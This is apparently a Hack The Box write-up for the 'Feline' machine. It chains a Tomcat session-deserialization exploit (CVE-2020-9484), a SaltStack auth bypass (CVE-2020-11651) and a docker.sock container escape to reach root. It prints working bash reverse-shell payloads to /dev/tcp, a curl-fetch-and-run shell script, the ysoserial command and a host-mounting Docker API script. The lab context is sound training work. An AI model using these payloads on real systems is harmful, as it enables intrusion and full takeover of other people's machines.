Tracker

  • User
  • root  

Loot

Proofs

FileFlag
user.txt04c53abcf87401e4c54945b847436adf
root.txtf316483a325054f5304b2c932f3d2681

Passwords

UsernameHashCleartextNotes

Summary

Overview/Highlights

OS: Linux

OS Version: Ubuntu 4

DNS Hostname: feline

 

Solution

Enumeration

Open Ports

ssh on tcp/22

  • OpenSSH 8.2p1

http on tcp/8080

  • Apache Tomcat 9.0.27

Manual Enumeration

I start off with an autorecon scan of the target host.

  \| \~/cybersecurity/htb/boxes/10.10.10.205-feline ········································ INT ✘  19:55:40 ─╮
❯ autorecon -v \--single-target -o ./ feline.htb ─╯
\[\*\] Scanning target feline.htb
\[\*\] Running service detection nmap-full-tcp on feline.htb with nmap -vv \--reason -Pn -A \--osscan-guess \--version-all -p- -oN \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/\_full_tcp_nmap.txt\" -oX \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/xml/\_full_tcp_nmap.xml\" feline.htb
\[\*\] Running service detection nmap-quick on feline.htb with nmap -vv \--reason -Pn -sV -sC \--version-all -oN \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/\_quick_tcp_nmap.txt\" -oX \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/xml/\_quick_tcp_nmap.xml\" feline.htb
\[\*\] Running service detection nmap-top-20-udp on feline.htb with nmap -vv \--reason -Pn -sU -A \--top-ports=20 \--version-all -oN \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/\_top_20_udp_nmap.txt\" -oX \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/xml/\_top_20_udp_nmap.xml\" feline.htb

Looks like there's just two open ports. Looking at the nmap results gives me the service version information.

SSH supports both publickey and password logins.

\| publickey
\|\_ password

  It looks like the HTTP server on tcp/8080 is an actual site. The HTTP server is Apache Tomcat. We have html files for sure. Nmap found a potentially interesting folder. Also it detected a WAF?

\| http-enum:
\|\_ /service/: Potentially interesting folder
 
\| http-waf-detect: IDS/IPS/WAF detected:
\|\_feline.htb:8080/?p4yl04d3=\<script\>alert(document.cookie)\</script\>

It also looks like I can use the PUT method.

\+ OSVDB-397: HTTP method (\'Allow\' Header): \'PUT\' method could allow clients to save files on the web server.

Looks like index.html is an actual site as well. Based on the text, it looks like this is a site that allows you to upload viruses for analysis. That means there should be upload ability, matching the PUT finding.

\<title\>VirusBucket\</title\>

Looking at the site, there is a static index page, and the /service/ page allows for me to enter an email address and upload a binary by clicking on the sample box.

Gobuster found a few directories.

/images (Status: 302) \[Size: 0\]
/index.html (Status: 200) \[Size: 2141\]
/index.html (Status: 200) \[Size: 2141\]
/license.txt (Status: 200) \[Size: 1104\]
/service (Status: 302) \[Size: 0\]
/upload.jsp (Status: 200) \[Size: 27\]

No exploits available in searchsploit for this version. There is an exploit listed online as CVE-2020-9484.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484

There is a PoC available at masahiro331's github.

https://github.com/masahiro331/CVE-2020-9484

The PoC is a single curl command.

$ curl '[http://127.0.0.1:8080/index.jsp](http://127.0.0.1:8080/index.jsp)' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

Trying to send the groovy.session file from the PoC github repo gives us a Java stack trace with some very interesting information, specifically what appears to be the folder path that uploaded files get stored to.

  \| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ········································ 15:54:17 ─╮
❯ curl -F \'image=@groovy.session\' -sS \'<http://feline.htb:8080/upload.jsp>\' ─╯

\<div id=\"error\"\>
org.apache.commons.fileupload.FileUploadBase\$IOFileUploadException: Processing of multipart/form-data request failed. /opt/tomcat/temp/upload_eea55181_8259_4f79_9c91_1a25666ff898_00000004.tmp (Permission denied)
at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
at org.apache.commons.fileupload.servlet.ServletFileUpload.parseRequest(ServletFileUpload.java:115)
at org.apache.jsp.upload_jsp.\_jspService(upload_jsp.java:165)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:861)
at org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1579)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor\$Worker.run(ThreadPoolExecutor.java:628)
at org.apache.tomcat.util.threads.TaskThread\$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Thread.java:834)
Caused by: java.io.FileNotFoundException: /opt/tomcat/temp/upload_eea55181_8259_4f79_9c91_1a25666ff898_00000004.tmp (Permission denied)
at java.base/java.io.FileOutputStream.open0(Native Method)
at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298)
at java.base/java.io.FileOutputStream.\<init\>(FileOutputStream.java:237)
at java.base/java.io.FileOutputStream.\<init\>(FileOutputStream.java:187)
at org.apache.commons.io.output.DeferredFileOutputStream.thresholdReached(DeferredFileOutputStream.java:178)
at org.apache.commons.io.output.ThresholdingOutputStream.checkThreshold(ThresholdingOutputStream.java:224)
at org.apache.commons.io.output.ThresholdingOutputStream.write(ThresholdingOutputStream.java:128)
at org.apache.commons.fileupload.util.Streams.copy(Streams.java:107)
at org.apache.commons.fileupload.util.Streams.copy(Streams.java:70)
at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:347)
\... 30 more
\</div\>

We'll generate a payload with ysoserial.

   |  ~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ········································ 16:28:28   ─╮
❯ echo "bash -i >& /dev/tcp/10.10.14.36/443 0>&1" | base64                                                           ─╯
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDMgMD4mMQo=

   |  ~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ········································ 16:33:40   ─╮
❯ java -jar ~/cybersecurity/Tools/host-tools/java/ysoserial-master-6eca5bc740-1.jar CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDMgMD4mMQo=}|{base64,-d}|{bash,-i}" > test.session

Now to upload the payload.

   |  ~/cybersecurity/htb/boxes/10.10.10.205-feline ················································ 16:29:09   ─╮
❯ curl '[http://feline.htb:8080/upload.jsp](http://feline.htb:8080/upload.jsp)' -F "image=@exploit/test.session"

File uploaded successfully!

And execute the payload.

   |  ~/cybersecurity/htb/boxes/10.10.10.205-feline ················································ 16:36:47   ─╮
❯ curl '[http://feline.htb:8080/upload.jsp](http://feline.htb:8080/upload.jsp)' -H "Cookie: JSESSIONID=../../../../../../../../../opt/samples/uploads/test"

And catch the incoming shell in netcat.

   |  ~/cybersecurity/htb/boxes/10.10.10.205-feline ·································· 33s       16:18:22   ─╮
❯ nc -nvlp 443                                                                                                       ─╯
listening on [any] 443 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.205] 58890
bash: cannot set terminal process group (928): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@VirusBucket:/opt/tomcat$

Looks like I'm user tomcat, who am I going to have to pivot to?

ls -lah /home
total 12K
drwxr-xr-x  3 root root 4.0K Jun 17 03:18 .
drwxr-xr-x 20 root root 4.0K Jun 30 12:47 ..
drwxr-xr-x  2 root root 4.0K Jun 17 05:14 tomcat
tomcat@VirusBucket:/opt/tomcat$

Oh, nobody? Sweet.

User Compromise

EoP Enumeration

Came back from cabin, sitting down to do this now, don't really remember where I was on this. I need to read through the user compromise steps to refamiliarize myself with this box.

During my initial enumeration, I saw four ports open on this machine's local address. Two of them were 4505 and 4506.

tomcat@VirusBucket:/opt/tomcat$ netstat -ntlp
netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                  
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:4505          0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:4506          0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                  
tcp        0      0 127.0.0.1:41511         0.0.0.0:*               LISTEN      -                  
tcp6       0      0 :::8080                 :::*                    LISTEN      984/java           
tcp6       0      0 :::22                   :::*                    LISTEN      -                  
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      984/java

A quick google search showed that tcp/4505 and tcp/4506 are related to SaltStack. (https://www.saltstack.com).

Found a public PoC for this exploit from https://github.com/dozernz/cve-2020-11651.

Exploit won't execute on the target machine. Needs python salt module etc. I should port forward from my machine to run script locally targeting remote port.

First, on my kali host, I ran the chisel server.

  \| \~/cybersecurity/Tools/host-tools/proxies/chisel ······································· 21:01:08 ─╮
❯ ./chisel_1.5.2_linux_amd64 server -p 4741 \--reverse ─╯
2020/09/24 21:01:27 server: Reverse tunnelling enabled
2020/09/24 21:01:27 server: Fingerprint e6:b8:c0:6b:0c:f2:e4:c6:8f:58:28:36:93:16:e2:a7
2020/09/24 21:01:27 server: Listening on 0.0.0.0:4741\...

Then on the target machine I ran the chisel client.

\<\$ ./c client 10.10.14.36:4741 R:4506:127.0.0.1:4506
2020/09/25 01:20:32 client: Connecting to ws://10.10.14.36:4741
2020/09/25 01:20:32 client: Fingerprint 3f:2a:f5:d1:36:b4:89:9f:08:6f:34:6b:a8:ca:1c:a3
2020/09/25 01:20:32 client: Connected (Latency 32.14486ms)

uploaded shell.sh to target with RCE

  \| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ····························  21:52:15 ─╮
❯ python3 cve-2020-11651.py \--master localhost \--exec \"curl 10.10.14.36/shell.sh -o /tmp/shell.sh; chmod +x shell.sh\"
\[!\] Please only use this script to verify you have correctly patched systems you have permission to access. Hit \^C to abort.
\[+\] Checking salt-master (localhost:4506) status\... ONLINE
\[+\] Checking if vulnerable to CVE-2020-11651\... YES
\[\*\] root key obtained: Pi79fxNe84fZpSd+jlJVquniOV1DXhWJagQP8iFzaxnv8fGitfbuJcW1Ck3V7gWQBmCEayNu/cc=
\[+\] Attemping to execute curl 10.10.14.36/shell.sh -o /tmp/shell.sh; chmod +x /tmp/shell.sh on localhost
\[+\] Successfully scheduled job: 20200925020929125168

  \| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ································· 21:52:21 ─╮
❯ py-serve ─╯
Serving HTTP on 0.0.0.0 port 80 \...
10.10.10.205 - - \[24/Sep/2020 21:53:57\] \"GET /shell.sh HTTP/1.1\" 200 -

Executed uploaded shell.

  \| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ···················· 3s    21:55:45 ─╮
❯ python3 cve-2020-11651.py \--master localhost \--exec \"bash /tmp/shell.sh\" ─╯
\[!\] Please only use this script to verify you have correctly patched systems you have permission to access. Hit \^C to abort.
\[+\] Checking salt-master (localhost:4506) status\... ONLINE
\[+\] Checking if vulnerable to CVE-2020-11651\... YES
\[\*\] root key obtained: Pi79fxNe84fZpSd+jlJVquniOV1DXhWJagQP8iFzaxnv8fGitfbuJcW1Ck3V7gWQBmCEayNu/cc=
\[+\] Attemping to execute bash /tmp/shell.sh on localhost
\[+\] Successfully scheduled job: 20200925021147469809
 
  \| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ····················· 2m 31s   21:55:04 ─╮
❯ nc -nvlp 4443 ─╯
listening on \[any\] 4443 \...
connect to \[10.10.14.36\] from (UNKNOWN) \[10.10.10.205\] 42842
bash: cannot set terminal process group (6061): Inappropriate ioctl for device
bash: no job control in this shell
root@2d24bf61767c:\~#

Enumerated files in new home directory.

root@2d24bf61767c:\~# ls -lah
ls -lah
total 28K
drwx\-\-\-\-\-- 1 root root 4.0K Jun 30 12:45 .
drwxr-xr-x 1 root root 4.0K Jun 30 12:33 ..
-rw\-\-\-\-\-\-- 1 root root 1.4K Jun 30 16:12 .bash_history
-rw-r\--r\-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r\--r\-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 2 root root 4.0K May 3 22:21 .ssh
-rw-r\--r\-- 1 root root 137 Jun 30 12:41 todo.txt

root@2d24bf61767c:\~# cat todo.txt
cat todo.txt
\- Add saltstack support to auto-spawn sandbox dockers through events.
\- Integrate changes to tomcat and make the service open to public.
root@2d24bf61767c:\~#

Found something interesting in .bash_history.

root@2d24bf61767c:~# cat .bash_history
cat .bash_history
paswd
passwd
passwd
passswd
passwd
passwd
cd /root
ls
ls -la
rm .wget-hsts
cd .ssh/
ls
cd ..
printf '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cd /home/tomcat
cat /etc/passwd
exit
cd /root/
ls
cat todo.txt
ls -la /var/run/
curl -s --unix-socket /var/run/docker.sock [http://localhost/images/json](http://localhost/images/json)
exit
root@2d24bf61767c:~#

This means that I can send commands through docker.sock to the docker daemon, using the API. I will be able to create a new docker image which can volume bind to the host folder to execute malicious commands on the host. See this reference: https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html.

First I need to get the name of the current docker image.

root@2d24bf61767c:\~# curl -s \--unix-socket /var/run/docker.sock <http://localhost/images/json>
\<t /var/run/docker.sock <http://localhost/images/json>
\[{\"Containers\":-1,\"Created\":1590787186,\"Id\":\"sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e\",\"Labels\":null,\"ParentId\":\"\",\"RepoDigests\":null,\"RepoTags\":\[\"sandbox:latest\"\],\"SharedSize\":-1,\"Size\":5574537,\"VirtualSize\":5574537},{\"Containers\":-1,\"Created\":1588544489,\"Id\":\"sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9\",\"Labels\":null,\"ParentId\":\"\",\"RepoDigests\":\[\"\<none\>@\<none\>\"\],\"RepoTags\":\[\"\<none\>:\<none\>\"\],\"SharedSize\":-1,\"Size\":1056679100,\"VirtualSize\":1056679100}\]
root@2d24bf61767c:\~#

Ok. Now I can create a payload file that will display the root.txt flag for me. I make a text file on kali with the following.

cmd=\"cat /root/root.txt\"
payload=\"\[\\\"/bin/sh\\\",\\\"-c\\\",\\\"chroot /mnt sh -c \"\]\"
response=\$(curl -s -XPOST \--unix-socket /var/run/docker.sock -d \"{\\\"Image\\\":\\\"sandbox\\\",\\\"cmd\\\":\$payload, \\\"Binds\\\": \[\\\"/:/mnt:rw\\\"\]}\" -H \'Content-Type: application/json\' <http://localhost/containers/create>)
 
revShellContainerID=\$(echo \"\$response\" \| cut -d\'\"\' -f4)
 
curl -s -XPOST \--unix-socket /var/run/docker.sock <http://localhost/containers/$revShellContainerID/start>
sleep 1
curl \--output - -s \--unix-socket /var/run/docker.sock \"<http://localhost/containers/$revShellContainerID/logs?stderr=1&stdout=1>\"

I upload it to the target machine in my docker root instance with curl, and make it executable.

root@2d24bf61767c:/tmp# curl 10.10.14.36/get-rootflag.sh -o v2.sh
curl 10.10.14.36/get-rootflag.sh -o v2.sh
\% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 597 100 597 0 0 13266 0 \--:\--:\-- \--:\--:\-- \--:\--:\-- 13266
root@2d24bf61767c:/tmp# chmod +x v2.sh

Then I execute it and get my root flag.

root@2d24bf61767c:/tmp# ./v2.sh
./v2.sh
!f316483a325054f5304b2c932f3d2681
root@2d24bf61767c:/tmp#

Next: Lame